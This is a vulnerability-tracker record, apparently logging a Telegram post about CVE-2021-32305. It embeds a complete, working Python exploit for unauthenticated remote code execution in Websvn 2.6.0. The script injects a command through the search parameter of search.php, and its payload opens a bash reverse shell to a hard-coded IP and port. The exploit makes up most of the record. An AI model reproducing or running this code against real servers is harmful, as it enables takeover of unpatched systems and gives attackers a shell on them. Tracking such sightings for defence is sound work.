{"uuid": "91b6b21a-9f53-46e1-8f77-60e50c1119f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32305", "type": "seen", "source": "https://t.me/hacking_Attack/13854", "content": "Exploit Collector\nWebsvn 2.6.0 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png \nWebsvn version 2.6.0 suffers from a remote code execution vulnerability.\n\nMD5 | 6ae7383ff4fe81d3446640a77cf479db\n\nDownload\n# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)\n# Date: 20/06/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://websvnphp.github.io/\n# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0\n# Version: 2.6.0\n# Tested on: Docker + Debian GNU/Linux (Buster)\n# CVE : CVE-2021-32305\n\nimport requests\nimport argparse\nfrom urllib.parse import quote_plus\n\nPAYLOAD = \"/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'\"\nREQUEST_PAYLOAD = '/search.php?search=\";{};\"'\n\nparser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')\nparser.add_argument('target', type=str, help=\"Target URL.\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\nrequests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))\n\nprint(\"[*] Request send. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:35.072712Z"}